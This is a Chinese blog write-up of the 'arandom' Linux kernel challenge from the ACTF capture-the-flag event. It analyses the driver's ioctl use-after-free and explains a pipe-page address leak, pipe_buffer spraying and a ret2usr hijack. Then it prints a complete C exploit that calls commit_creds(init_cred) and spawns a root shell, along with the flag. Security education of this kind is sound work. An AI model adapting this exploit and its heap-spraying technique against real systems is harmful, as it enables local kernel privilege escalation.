arandom


前言

这是一道XCTF分站赛ACTF的内核题目😮

CHECK

基础配置

竟然没开smap和smep😮,后来据出题人说这是失误😊

init如下:

可以看到设备的名字使/dev/arandom;

cache

似乎没有cg隔离🤔

逆向分析

函数__kmalloc_noprof:

https://elixir.bootlin.com/linux/v6.14.2/source/mm/slub.c#L4304

全局变量AAA

init

可以看到AAA的三个成员在最开始的时候都被初始化为随机值;

IOCTL

ioctl接口提供了如下5个功能:

get_info

可以通过ioctl的的这个接口获取AAA的三个随机值;

alloc

只有一次alloc的机会,可以看到分配的obj的大小使随机值,根据前面的init可以看到这个随机值的大小是在1~0x8000之间。

free

释放只有一次机会,buffer没有清零;

edit

可以造成uaf;随机偏移写4字节数据;

leak

可以向分配的内存中写入一个内核函数的值,这里可以被用作uaf写,然后读出这个地址用于泄露;

调试

调试相关用到的地址如下:

bash-5.2# cat /proc/kallsyms | grep arandom
ffffffffc0203040 d arandom_miscdev [arandom]
ffffffffc0201010 t arandom_release [arandom]
ffffffffc0201040 t arandom_open [arandom]
ffffffffc0201070 t arandom_ioctl [arandom]
ffffffffc02031c0 d arandom_mutex [arandom]
ffffffffc0203710 b buffer [arandom]
ffffffffc020370d b allocated [arandom]
ffffffffc020370c b freed [arandom]
ffffffffc0201230 t arandom_exit [arandom]
ffffffffc02031e0 d __UNIQUE_ID___addressable_cleanup_module276 [arandom]
ffffffffc02030a0 d arandom_fops [arandom]
ffffffffc0201000 t __pfx_arandom_release [arandom]
ffffffffc0201030 t __pfx_arandom_open [arandom]
ffffffffc0201060 t __pfx_arandom_ioctl [arandom]
ffffffffc0201220 t __pfx_arandom_exit [arandom]
ffffffffc020516c r _note_19 [arandom]
ffffffffc0205184 r _note_18 [arandom]
ffffffffc020519c r orc_header [arandom]
ffffffffc0203200 d __this_module [arandom]
ffffffffc0203700 b AAA [arandom]
ffffffffc0201230 t cleanup_module [arandom]
ffffffffc0201220 t __pfx_cleanup_module [arandom]

在分配后的地方查看cache,感觉怪怪的🤔:

漏洞利用

LEAK

通过分析发现,当我们分配的内存大小超过了0x2000字节之后,就超过了最大的cache——kmalloc-8k了,这个时候笔者分析应该是从buddy system中直接分配的,因此笔者在利用上述uaf漏洞之后使用pipe的页占有这个页,然后利用uaf写内核函数地址的方法将这个地址写入到pipe的页中,之后利用pipe的读功能即可实现地址的泄露:

这里笔者用的方法是每个pipe只写一个页的内容,然后通过读、比对,来找到命中的pipe页,这个页我们后边还会有用。😊

这里可能是pipe的数量不够?总之笔者通常要运行两次到三次才能泄露出来内核地址。

控制流劫持

下面我们要通过修改pipe的大小为0x8000(其实笔者前面还用别的size喷射了,但是最终发现都会落在0x8000的上面),以此来修改pipe_buffer的大小,这样就可以喷射大量的pipe_buffer,从而导致kmem_cache-512从buddy system中将我们的uaf-page回收回来,这样我们就可以通过题目给我们提供的uaf写随机数来写pipe_buffer的空间啦!😊

但是现在问题来了,写的内容是随机数,因此笔者使用了如下小trick:

笔者首先需要撞这个随机数,保证这个随机数能够被卸载pipe_buffer的8个ops中的一个(不用完全对应,只要8字节中的部分字节被修改了就有机会),然后笔者可以在一开始就根据get_info得到的随机数的值推断出ops的位置被写成了什么,然后我们将这个值通过mmap映射成一个合法的用户态地址,由于没有smap的保护,我们可以直接在这个用户态地址中部署fake ops,然后还由于没有开启smep保护,我们直接一步ret2usr!😊

远程攻击

由于环境中没有lib库,因此笔者使用musl-gcc进行编译,然后就是一通撞,最终攻击成功:

ACTF{Y0u_h4v3_b3c0m3_4_m4573r_0f_r4nd0m_num83r5}

EXP

#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
//#include <stdlib.h>
//#include <string.h>
#include <sys/ioctl.h>
//#include <unistd.h>
//#include <sched.h>
//#include <sys/types.h>

//利用kallsyms文件泄露内核函数地址
size_t prepare_kernel_cred = 0LL;
size_t commit_creds = 0LL;

int dev_fd;

struct aaa {
int size;
int offset;
int value;
};
struct aaa AAA;
void get_info(){
ioctl(dev_fd, 4100, &AAA);
printf("size == 0x%x, offset == 0x%x, value == 0x%x\n", AAA.size, AAA.offset, AAA.value);
}
void alloc(){
ioctl(dev_fd, 4097, &AAA);
}
void delete(){
ioctl(dev_fd, 4098, &AAA);
}
void leak(){
ioctl(dev_fd, 4101, &AAA);
}

void edit(){
ioctl(dev_fd, 4099, &AAA);
}

char data[0x8000];
size_t data2[0x1000];
size_t commit_creds;
size_t init_cred;

void getRootPrivilige(void)
{
void * (*prepare_kernel_cred_ptr)(void *) = 0xffffffff812c8fd0;
int (*commit_creds_ptr)(void *) = commit_creds;
(*commit_creds_ptr)(init_cred);
}

int main(int argc, char **argv){

int pipe1[0x400][2];

dev_fd = open("/dev/arandom", 2);
get_info();

#include <sys/mman.h>
size_t *ops;

//printf("data2 == %p\n", (data2));
int good_off[] = {0x10, 0x38, 0x60, 0x88, 0xb0, 0xd8, 0x100, 0x128};
memset(data2, 0, sizeof(data2));
memcpy((char *)data2+(AAA.offset%0x200), &AAA.value, 4);
size_t fake_ops = -1;
for(int i = 0; i < 8; i++){
//printf("data_val == %p\n", data2[good_off[i]/8]);
if(data2[good_off[i]/8]){
size_t goal_page = data2[good_off[i]/8]&0xfffffffffffff000;
ops = mmap(goal_page, 0x8000, PROT_READ | PROT_WRITE,MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
//printf("ops == %p\n", ops);
if(ops == goal_page) {
fake_ops = data2[good_off[i]/8];
break;
}

}


}
//getchar();
memset(data, 0, sizeof(data));


memset(ops, 0, 0x8000);


alloc();
delete();

for(int i = 0; i < 8; i++){
memset(data+i*0x1000, 'a', 0x1000);
memcpy(data+i*0x1000+(AAA.offset&0xfff), &AAA.value, 4);
memset(data+i*0x1000+(AAA.offset&0xfff)+4, 0, 4);
memcpy(data+i*0x1000+(AAA.offset&0xfff)+16, &AAA.offset, 4);
memset(data+i*0x1000+(AAA.offset&0xfff)+16+4, 0, 4);
memcpy(data+i*0x1000+(AAA.offset&0xfff)+24, &AAA.size, 4);
memset(data+i*0x1000+(AAA.offset&0xfff)+24+4, 0, 4);
memset(data+i*0x1000+(AAA.offset&0xfff)+32, 0, 8);
}

for(int i = 0; i < 0x400; i++){
if(pipe(pipe1[i]) < 0){
perror("create pipe");
break;
}
memset(data, i, 8);
write(pipe1[i][1], data, 0x1000);
}
leak();

size_t ker_offset = -1;
int victim_pipe_idx = -1;
for(int i = 0; i < 0x400; i++){
for(int j = 0; j < 1; j++){
read(pipe1[i][0], data, 0x1000-4);
size_t addr = 0LL;
memcpy(&addr, data+(AAA.offset&0xfff)+0x20, 8);
if(addr && victim_pipe_idx == -1){
//printf("addr == %p, i == 0x%x\n", (void *)addr, i);
ker_offset = addr - 0xffffffff81907850;
victim_pipe_idx = i;
break;
}

}
}
printf("ker_offset == %p\n", (void *)ker_offset);
if(ker_offset == -1) exit(0);

//victim_pipe_idx += (AAA.offset) / 0x1000;

//printf("victim_pipe_idx == %d\n, %d %d\n", victim_pipe_idx, pipe1[victim_pipe_idx][0], pipe1[victim_pipe_idx][1]);
//getchar();
close(pipe1[victim_pipe_idx][0]);
close(pipe1[victim_pipe_idx][1]);

//sleep(2);

for(int i = 0; i < 0x200; i++){
memset(data, i, 0x8000);
//write(pipe1[i][1], data, 0x2000);
}



for(int i = 0; i < 0x400; i++){
if(i == victim_pipe_idx) continue;
if(fcntl(pipe1[i][1], F_SETPIPE_SZ, 0x1000 * 4 ) < 0){
puts("set pipe size error!");
exit(-1);
}
}
for(int i = 0; i < 0x400; i++){
if(i == victim_pipe_idx) continue;
if(fcntl(pipe1[i][1], F_SETPIPE_SZ, 0x1000 * 2 ) < 0){
puts("set pipe size error!");
exit(-1);
}
}
for(int i = 0; i < 0x400; i++){
if(i == victim_pipe_idx) continue;
if(fcntl(pipe1[i][1], F_SETPIPE_SZ, 0x1000 * 8 ) < 0){
puts("set pipe size error!");
exit(-1);
}
}


edit();


//puts("end done");
//getchar();

size_t hijack = getRootPrivilige;
for(int i = 0; i <= 0x40; i += 8){
memcpy(fake_ops+i, &hijack, 8);
}
commit_creds = ker_offset + 0xffffffff812c8d40;
init_cred = ker_offset + 0xffffffff82a54120;

for(int i = 0; i < 0x400; i++){
close(pipe1[i][0]);
close(pipe1[i][1]);
}
system("/bin/sh");

}

文章作者: q1ming
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 q1ming !
  目录